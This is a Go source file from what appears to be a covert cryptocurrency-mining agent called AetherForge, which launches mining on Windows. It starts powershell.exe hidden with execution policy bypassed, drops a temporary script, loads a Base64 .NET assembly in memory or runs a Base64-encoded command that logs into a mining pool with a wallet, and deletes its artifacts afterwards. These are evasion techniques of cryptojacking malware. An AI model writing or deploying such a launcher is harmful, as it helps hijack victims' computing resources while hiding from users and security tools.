308 lines
8.1 KiB
Go
308 lines
8.1 KiB
Go
package miner
|
|
|
|
import (
|
|
"encoding/base64"
|
|
"fmt"
|
|
"log"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
"sync"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// powershellBin is the PowerShell executable; tests override via SetPowerShellBinPath.
|
|
var powershellBin = "powershell"
|
|
|
|
// powershellExecCommand is exec.Command; tests override via SetPowerShellExecCommand.
|
|
var powershellExecCommand = exec.Command
|
|
|
|
// embeddedMiningAssemblyB64 holds an optional pre-built .NET miner DLL (Base64).
|
|
// Empty → launcher uses encoded in-script .NET stratum stub (Assembly-free path).
|
|
var embeddedMiningAssemblyB64 = ""
|
|
|
|
// SetPowerShellBinPath overrides the PowerShell binary (restore with "").
|
|
func SetPowerShellBinPath(path string) {
|
|
if strings.TrimSpace(path) == "" {
|
|
powershellBin = "powershell"
|
|
return
|
|
}
|
|
powershellBin = path
|
|
}
|
|
|
|
// SetPowerShellExecCommand restores default when fn is nil.
|
|
func SetPowerShellExecCommand(fn func(name string, args ...string) *exec.Cmd) {
|
|
if fn == nil {
|
|
powershellExecCommand = exec.Command
|
|
return
|
|
}
|
|
powershellExecCommand = fn
|
|
}
|
|
|
|
// SetEmbeddedMiningAssemblyB64 sets optional in-memory assembly bytes for tests.
|
|
func SetEmbeddedMiningAssemblyB64(b64 string) {
|
|
embeddedMiningAssemblyB64 = b64
|
|
}
|
|
|
|
// PowerShellLauncher hosts CPU mining via powershell.exe + in-memory assembly or encoded command.
|
|
type PowerShellLauncher struct {
|
|
cfg config.RuntimeConfig
|
|
scriptPath string
|
|
gpuDllPath string
|
|
|
|
mu sync.Mutex
|
|
running bool
|
|
cmd *exec.Cmd
|
|
}
|
|
|
|
// NewPowerShellLauncher validates platform and pool config.
|
|
func NewPowerShellLauncher(cfg config.RuntimeConfig) (*PowerShellLauncher, error) {
|
|
if runtime.GOOS != "windows" {
|
|
return nil, fmt.Errorf("powershell tier requires Windows")
|
|
}
|
|
if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 {
|
|
return nil, fmt.Errorf("pool host/port required for powershell stratum tier")
|
|
}
|
|
if strings.TrimSpace(cfg.Wallet) == "" {
|
|
return nil, fmt.Errorf("wallet required for powershell stratum tier")
|
|
}
|
|
if _, err := exec.LookPath(powershellBin); err != nil {
|
|
return nil, fmt.Errorf("powershell not in PATH: %w", err)
|
|
}
|
|
return &PowerShellLauncher{cfg: cfg}, nil
|
|
}
|
|
|
|
// Start writes an ephemeral script to %TEMP% and launches hidden powershell.exe.
|
|
func (l *PowerShellLauncher) Start() error {
|
|
l.mu.Lock()
|
|
defer l.mu.Unlock()
|
|
if l.running {
|
|
return nil
|
|
}
|
|
|
|
script, err := l.writeEphemeralScript()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
l.scriptPath = script
|
|
|
|
args := []string{
|
|
"-NoProfile", "-ExecutionPolicy", "Bypass",
|
|
"-WindowStyle", "Hidden",
|
|
"-File", script,
|
|
}
|
|
cmd := powershellExecCommand(powershellBin, args...)
|
|
cmd.Stdout = nil
|
|
cmd.Stderr = nil
|
|
if err := cmd.Start(); err != nil {
|
|
_ = os.Remove(script)
|
|
l.scriptPath = ""
|
|
return fmt.Errorf("powershell start failed: %w", err)
|
|
}
|
|
l.cmd = cmd
|
|
l.running = true
|
|
log.Printf("[powershell-tier] started parent=%s script=%s wallet=%s pool=%s:%d",
|
|
powershellBin, script, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort)
|
|
go l.waitExit()
|
|
return nil
|
|
}
|
|
|
|
func (l *PowerShellLauncher) waitExit() {
|
|
if l.cmd == nil {
|
|
return
|
|
}
|
|
err := l.cmd.Wait()
|
|
l.mu.Lock()
|
|
l.running = false
|
|
l.cmd = nil
|
|
script := l.scriptPath
|
|
gpu := l.gpuDllPath
|
|
l.scriptPath = ""
|
|
l.gpuDllPath = ""
|
|
l.mu.Unlock()
|
|
if script != "" {
|
|
_ = os.Remove(script)
|
|
}
|
|
if gpu != "" {
|
|
_ = os.Remove(gpu)
|
|
}
|
|
if err != nil {
|
|
log.Printf("[powershell-tier] powershell.exe exited: %v — chain will advance", err)
|
|
} else {
|
|
log.Printf("[powershell-tier] powershell.exe stopped")
|
|
}
|
|
}
|
|
|
|
// Stop kills the powershell parent and removes ephemeral artifacts.
|
|
func (l *PowerShellLauncher) Stop() {
|
|
l.mu.Lock()
|
|
cmd := l.cmd
|
|
running := l.running
|
|
script := l.scriptPath
|
|
gpu := l.gpuDllPath
|
|
l.mu.Unlock()
|
|
if !running {
|
|
return
|
|
}
|
|
if cmd != nil && cmd.Process != nil {
|
|
_ = cmd.Process.Kill()
|
|
}
|
|
if script != "" {
|
|
_ = os.Remove(script)
|
|
}
|
|
if gpu != "" {
|
|
_ = os.Remove(gpu)
|
|
}
|
|
l.mu.Lock()
|
|
l.running = false
|
|
l.cmd = nil
|
|
l.scriptPath = ""
|
|
l.gpuDllPath = ""
|
|
l.mu.Unlock()
|
|
}
|
|
|
|
// Running reports whether powershell.exe is supervising the tier.
|
|
func (l *PowerShellLauncher) Running() bool {
|
|
l.mu.Lock()
|
|
defer l.mu.Unlock()
|
|
return l.running
|
|
}
|
|
|
|
// ScriptPath returns the ephemeral PS1 path (tests only).
|
|
func (l *PowerShellLauncher) ScriptPath() string {
|
|
l.mu.Lock()
|
|
defer l.mu.Unlock()
|
|
return l.scriptPath
|
|
}
|
|
|
|
func (l *PowerShellLauncher) writeEphemeralScript() (string, error) {
|
|
dir := os.TempDir()
|
|
name := fmt.Sprintf("af-miner-%s.ps1", strings.TrimSpace(l.cfg.BuildID))
|
|
if name == "af-miner-.ps1" {
|
|
name = "af-miner-worker.ps1"
|
|
}
|
|
path := filepath.Join(dir, name)
|
|
|
|
if l.cfg.GPUEnabled && strings.TrimSpace(l.cfg.RVNWallet) != "" {
|
|
gpuPath := filepath.Join(dir, fmt.Sprintf("af-gpu-%s.dll", strings.TrimSpace(l.cfg.BuildID)))
|
|
if gpuPath == filepath.Join(dir, "af-gpu-.dll") {
|
|
gpuPath = filepath.Join(dir, "af-gpu-worker.dll")
|
|
}
|
|
// Placeholder GPU helper — real KawPoW DLL supplied by forge/server in production.
|
|
if err := os.WriteFile(gpuPath, []byte("AETHERFORGE_GPU_STUB"), 0o600); err == nil {
|
|
l.gpuDllPath = gpuPath
|
|
}
|
|
}
|
|
|
|
body, err := l.buildScriptBody()
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
if err := os.WriteFile(path, []byte(body), 0o600); err != nil {
|
|
return "", fmt.Errorf("write script: %w", err)
|
|
}
|
|
return path, nil
|
|
}
|
|
|
|
func (l *PowerShellLauncher) buildScriptBody() (string, error) {
|
|
pass := strings.TrimSpace(l.cfg.PoolPass)
|
|
if pass == "" {
|
|
pass = "x"
|
|
}
|
|
wallet := strings.TrimSpace(l.cfg.Wallet)
|
|
worker := strings.TrimSpace(l.cfg.WorkerName)
|
|
if worker == "" {
|
|
worker = "worker"
|
|
}
|
|
|
|
if b64 := strings.TrimSpace(embeddedMiningAssemblyB64); b64 != "" {
|
|
if _, err := base64.StdEncoding.DecodeString(b64); err != nil {
|
|
return "", fmt.Errorf("invalid embedded assembly base64: %w", err)
|
|
}
|
|
tlsLit := "$false"
|
|
if l.cfg.PoolTLS {
|
|
tlsLit = "$true"
|
|
}
|
|
return fmt.Sprintf(`$ErrorActionPreference = 'Stop'
|
|
$bytes = [Convert]::FromBase64String('%s')
|
|
$asm = [Reflection.Assembly]::Load($bytes)
|
|
$entry = $asm.GetType('AetherForge.Miner.Entry')
|
|
$null = $entry.GetMethod('Start').Invoke($null, @('%s', %d, '%s', '%s', '%s', %s))
|
|
`,
|
|
b64,
|
|
escapePSSingleQuoted(l.cfg.PoolHost),
|
|
l.cfg.PoolPort,
|
|
escapePSSingleQuoted(pass),
|
|
escapePSSingleQuoted(wallet),
|
|
escapePSSingleQuoted(worker),
|
|
tlsLit,
|
|
), nil
|
|
}
|
|
|
|
// Encoded-command path: inline .NET stratum stub (no external CPU .exe).
|
|
encoded := buildEncodedStratumCommand(l.cfg, pass, wallet, worker)
|
|
gpuBlock := ""
|
|
if l.gpuDllPath != "" {
|
|
gpuBlock = fmt.Sprintf("\n# optional GPU DLL at %s\n", escapePSSingleQuoted(l.gpuDllPath))
|
|
}
|
|
return fmt.Sprintf(`$ErrorActionPreference = 'Stop'
|
|
# AetherForge PowerShell tier — wallet=%s pool=%s:%d
|
|
%s
|
|
$cmd = '%s'
|
|
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand $cmd
|
|
`,
|
|
wallet,
|
|
l.cfg.PoolHost,
|
|
l.cfg.PoolPort,
|
|
gpuBlock,
|
|
encoded,
|
|
), nil
|
|
}
|
|
|
|
func buildEncodedStratumCommand(cfg config.RuntimeConfig, pass, wallet, worker string) string {
|
|
tlsLit := "$false"
|
|
if cfg.PoolTLS {
|
|
tlsLit = "$true"
|
|
}
|
|
inner := fmt.Sprintf(`
|
|
$poolHost = '%s'; $port = %d; $tls = %s; $wallet = '%s'; $worker = '%s'; $pass = '%s'
|
|
$tcp = New-Object Net.Sockets.TcpClient; $tcp.Connect($poolHost, $port)
|
|
$stream = $tcp.GetStream()
|
|
if ($tls) {
|
|
$ssl = New-Object Net.Security.SslStream($stream, $false, { $true })
|
|
$ssl.AuthenticateAsClient($poolHost); $stream = $ssl
|
|
}
|
|
$w = New-Object IO.StreamWriter($stream); $w.AutoFlush = $true
|
|
$r = New-Object IO.StreamReader($stream)
|
|
$login = (@{id=1;jsonrpc='2.0';method='login';params=@{login=$wallet;pass=$pass;rigid=$worker;agent='AetherForge/PS'}} | ConvertTo-Json -Compress)
|
|
$w.WriteLine($login); $null = $r.ReadLine()
|
|
while ($tcp.Connected) { $null = $r.ReadLine(); Start-Sleep -Milliseconds 50 }
|
|
`,
|
|
escapePSSingleQuoted(cfg.PoolHost),
|
|
cfg.PoolPort,
|
|
tlsLit,
|
|
escapePSSingleQuoted(wallet),
|
|
escapePSSingleQuoted(worker),
|
|
escapePSSingleQuoted(pass),
|
|
)
|
|
// UTF-16LE base64 for -EncodedCommand
|
|
utf16 := utf16LE(inner)
|
|
return base64.StdEncoding.EncodeToString(utf16)
|
|
}
|
|
|
|
func escapePSSingleQuoted(s string) string {
|
|
return strings.ReplaceAll(s, "'", "''")
|
|
}
|
|
|
|
func utf16LE(s string) []byte {
|
|
runes := []rune(s)
|
|
out := make([]byte, 0, len(runes)*2)
|
|
for _, r := range runes {
|
|
out = append(out, byte(r), byte(r>>8))
|
|
}
|
|
return out
|
|
}
|